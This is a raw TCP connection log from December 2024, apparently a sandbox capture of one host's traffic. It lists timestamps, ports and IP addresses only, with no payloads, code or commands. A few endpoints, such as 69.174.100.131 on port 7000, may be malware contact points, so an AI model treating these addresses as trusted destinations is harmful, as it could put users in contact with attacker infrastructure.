Dec 5, 2024 14:02:05.035660982 CET	49863	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:05.067563057 CET	49863	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:05.098947048 CET	443	49856	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.105492115 CET	49856	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.105520010 CET	443	49856	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.106120110 CET	49856	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.106125116 CET	443	49856	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.147778988 CET	443	49865	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.159560919 CET	443	49862	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.163635969 CET	443	49862	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.163686037 CET	443	49862	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.165467978 CET	49862	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.189892054 CET	49865	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.189910889 CET	443	49865	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.193866968 CET	49865	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.193876028 CET	443	49865	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.197540045 CET	49862	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.197568893 CET	443	49862	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.197604895 CET	49862	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.197613001 CET	443	49862	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.230823040 CET	49868	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.230859041 CET	443	49868	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.233571053 CET	49868	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.234683037 CET	49868	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.234694958 CET	443	49868	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.505819082 CET	443	49866	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.533772945 CET	443	49856	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.533860922 CET	443	49856	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.533922911 CET	49856	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.581476927 CET	443	49865	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.585581064 CET	443	49865	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.585678101 CET	49865	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.586678028 CET	49866	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.586694956 CET	443	49866	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.607518911 CET	49866	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.607525110 CET	443	49866	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.620069981 CET	49856	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.620111942 CET	443	49856	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.620124102 CET	49856	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.620131969 CET	443	49856	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.668368101 CET	49865	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.668368101 CET	49865	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.668386936 CET	443	49865	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.668397903 CET	443	49865	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.730357885 CET	49869	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.730387926 CET	443	49869	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.730464935 CET	49869	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.734184980 CET	49870	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.734224081 CET	443	49870	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.734285116 CET	49870	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.734797001 CET	49869	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.734813929 CET	443	49869	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.735496044 CET	49870	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.735510111 CET	443	49870	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.947077990 CET	443	49866	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.947323084 CET	443	49866	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.947364092 CET	49866	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.947371960 CET	443	49866	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.947385073 CET	443	49866	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.947431087 CET	49866	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.947551012 CET	49866	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.947561026 CET	443	49866	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.947582006 CET	49866	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.947590113 CET	443	49866	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.952702999 CET	49871	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.952745914 CET	443	49871	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.952816010 CET	49871	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.953147888 CET	49871	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.953162909 CET	443	49871	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.988559961 CET	443	49867	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.989356041 CET	49867	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.989383936 CET	443	49867	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.989881039 CET	49867	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:05.989886999 CET	443	49867	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:06.424057007 CET	443	49867	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:06.427048922 CET	443	49867	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:06.427109957 CET	49867	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:06.427196026 CET	49867	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:06.427196026 CET	49867	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:06.427212954 CET	443	49867	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:06.427222967 CET	443	49867	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:06.430160999 CET	49872	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:06.430186033 CET	443	49872	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:06.430356979 CET	49872	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:06.430522919 CET	49872	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:06.430542946 CET	443	49872	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:06.980652094 CET	443	49868	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:06.981261969 CET	49868	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:06.981277943 CET	443	49868	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:06.981772900 CET	49868	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:06.981777906 CET	443	49868	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.134257078 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:07.254097939 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:07.415756941 CET	443	49868	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.419059038 CET	443	49868	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.419270039 CET	49868	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.419341087 CET	49868	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.419341087 CET	49868	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.419358015 CET	443	49868	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.419367075 CET	443	49868	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.422411919 CET	49873	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.422441006 CET	443	49873	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.422528982 CET	49873	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.422693968 CET	49873	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.422704935 CET	443	49873	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.452519894 CET	443	49869	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.452965975 CET	49869	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.452982903 CET	443	49869	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.453131914 CET	443	49870	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.453512907 CET	49869	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.453520060 CET	443	49869	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.453722954 CET	49870	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.453733921 CET	443	49870	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.454118967 CET	49870	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.454124928 CET	443	49870	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.762269020 CET	443	49871	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.763866901 CET	49871	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.763887882 CET	443	49871	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.771662951 CET	49871	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.771668911 CET	443	49871	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.888715982 CET	443	49869	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.889693022 CET	443	49870	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.889750957 CET	443	49870	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.889811039 CET	49870	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.889816046 CET	443	49870	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.889882088 CET	49870	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.890170097 CET	49870	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.890183926 CET	443	49870	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.890204906 CET	49870	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.890212059 CET	443	49870	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.892390966 CET	443	49869	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.892472982 CET	49869	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.892810106 CET	49869	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.892810106 CET	49869	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.892832041 CET	443	49869	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.892843008 CET	443	49869	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.896065950 CET	49874	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.896110058 CET	443	49874	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.896246910 CET	49874	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.896948099 CET	49875	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.896995068 CET	443	49875	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.897064924 CET	49875	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.897383928 CET	49874	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.897408009 CET	443	49874	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:07.897458076 CET	49875	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:07.897469044 CET	443	49875	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.153548002 CET	443	49872	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.168452024 CET	49872	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:08.168464899 CET	443	49872	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.172724009 CET	49872	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:08.172735929 CET	443	49872	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.197662115 CET	443	49871	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.201170921 CET	443	49871	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.201240063 CET	49871	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:08.201443911 CET	49871	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:08.201452017 CET	443	49871	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.201462030 CET	49871	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:08.201467991 CET	443	49871	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.222079992 CET	49876	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:08.222111940 CET	443	49876	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.222203970 CET	49876	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:08.225941896 CET	49876	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:08.225970984 CET	443	49876	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.589889050 CET	443	49872	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.593512058 CET	443	49872	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.593640089 CET	49872	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:08.599958897 CET	49872	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:08.599958897 CET	49872	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:08.599984884 CET	443	49872	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.599996090 CET	443	49872	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.651029110 CET	49877	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:08.651066065 CET	443	49877	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:08.651144981 CET	49877	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:08.651531935 CET	49877	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:08.651542902 CET	443	49877	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.142705917 CET	443	49873	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.143336058 CET	49873	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:09.143352985 CET	443	49873	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.143883944 CET	49873	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:09.143887997 CET	443	49873	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.578196049 CET	443	49873	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.581554890 CET	443	49873	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.581617117 CET	49873	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:09.581681967 CET	49873	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:09.581695080 CET	443	49873	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.581707001 CET	49873	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:09.581712008 CET	443	49873	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.584897995 CET	49878	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:09.584928036 CET	443	49878	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.584995985 CET	49878	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:09.585176945 CET	49878	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:09.585191011 CET	443	49878	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.618047953 CET	443	49874	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.618879080 CET	49874	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:09.618892908 CET	443	49874	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.619404078 CET	49874	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:09.619415045 CET	443	49874	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.620197058 CET	443	49875	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.620662928 CET	49875	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:09.620682955 CET	443	49875	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.621071100 CET	49875	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:09.621078968 CET	443	49875	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.956172943 CET	443	49876	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.956759930 CET	49876	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:09.956794977 CET	443	49876	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:09.957345009 CET	49876	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:09.957351923 CET	443	49876	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.052479982 CET	443	49874	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.055485010 CET	443	49875	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.056019068 CET	443	49874	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.056066036 CET	443	49874	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.056092978 CET	49874	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.056118965 CET	49874	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.056162119 CET	49874	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.056162119 CET	49874	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.056174994 CET	443	49874	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.056185007 CET	443	49874	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.058928967 CET	443	49875	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.059118986 CET	49879	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.059142113 CET	443	49879	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.059170961 CET	49875	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.059192896 CET	49879	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.059252977 CET	49875	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.059267998 CET	443	49875	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.059299946 CET	49875	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.059305906 CET	443	49875	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.059525013 CET	49879	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.059537888 CET	443	49879	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.061449051 CET	49880	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.061489105 CET	443	49880	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.061563015 CET	49880	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.061714888 CET	49880	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.061728001 CET	443	49880	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.290287971 CET	49799	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:02:10.370419979 CET	443	49877	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.371129036 CET	49877	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.371145964 CET	443	49877	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.371731043 CET	49877	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.371736050 CET	443	49877	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.390599012 CET	443	49876	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.394377947 CET	443	49876	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.394445896 CET	49876	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.394486904 CET	49876	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.394498110 CET	443	49876	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.394509077 CET	49876	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.394515038 CET	443	49876	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.397198915 CET	49881	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.397241116 CET	443	49881	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.397349119 CET	49881	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.397717953 CET	49881	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.397731066 CET	443	49881	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.469785929 CET	49882	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:10.469835997 CET	443	49882	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:10.469909906 CET	49882	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:10.470462084 CET	49882	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:10.470478058 CET	443	49882	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:10.807954073 CET	443	49877	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.808052063 CET	443	49877	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.808139086 CET	49877	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.808537006 CET	49877	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.808549881 CET	443	49877	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.808644056 CET	49877	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.808650017 CET	443	49877	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.811619043 CET	49883	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.811660051 CET	443	49883	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:10.812074900 CET	49883	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.812467098 CET	49883	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:10.812478065 CET	443	49883	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.340764999 CET	443	49878	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.341363907 CET	49878	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:11.341418028 CET	443	49878	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.341944933 CET	49878	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:11.341959953 CET	443	49878	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.775255919 CET	443	49878	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.779422045 CET	443	49878	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.779469013 CET	49878	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:11.779476881 CET	443	49878	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.779526949 CET	49878	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:11.779613018 CET	49878	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:11.779627085 CET	443	49878	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.779639959 CET	49878	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:11.779648066 CET	443	49878	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.782906055 CET	49884	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:11.782936096 CET	443	49884	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.783004045 CET	49884	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:11.783195019 CET	49884	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:11.783210993 CET	443	49884	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.783387899 CET	443	49880	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.783785105 CET	49880	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:11.783804893 CET	443	49880	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.783920050 CET	443	49879	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.784260035 CET	49880	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:11.784271002 CET	443	49880	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.784450054 CET	49879	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:11.784462929 CET	443	49879	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.784820080 CET	49879	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:11.784825087 CET	443	49879	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:11.835772991 CET	443	49882	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:11.837837934 CET	49882	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:11.837857962 CET	443	49882	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:11.837934971 CET	49882	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:11.837941885 CET	443	49882	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:12.113862991 CET	443	49881	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.114444971 CET	49881	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.114459991 CET	443	49881	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.114974022 CET	49881	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.114979029 CET	443	49881	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.220217943 CET	443	49880	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.221359015 CET	443	49879	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.221429110 CET	443	49879	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.221501112 CET	49879	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.221646070 CET	49879	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.221663952 CET	443	49879	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.221678972 CET	49879	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.221684933 CET	443	49879	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.224498987 CET	443	49880	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.224597931 CET	49880	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.224767923 CET	49885	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.224792004 CET	443	49885	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.224816084 CET	49880	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.224828959 CET	443	49880	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.224847078 CET	49880	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.224849939 CET	49885	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.224852085 CET	443	49880	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.225142002 CET	49885	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.225155115 CET	443	49885	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.227560043 CET	49886	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.227591038 CET	443	49886	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.227828026 CET	49886	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.228115082 CET	49886	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.228127956 CET	443	49886	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.402801037 CET	443	49882	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:12.403018951 CET	443	49882	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:12.403111935 CET	49882	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:12.403939009 CET	49882	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:12.533858061 CET	443	49883	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.534734964 CET	49883	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.534748077 CET	443	49883	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:12.535294056 CET	49883	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:12.535299063 CET	443	49883	13.107.246.63	192.168.2.6
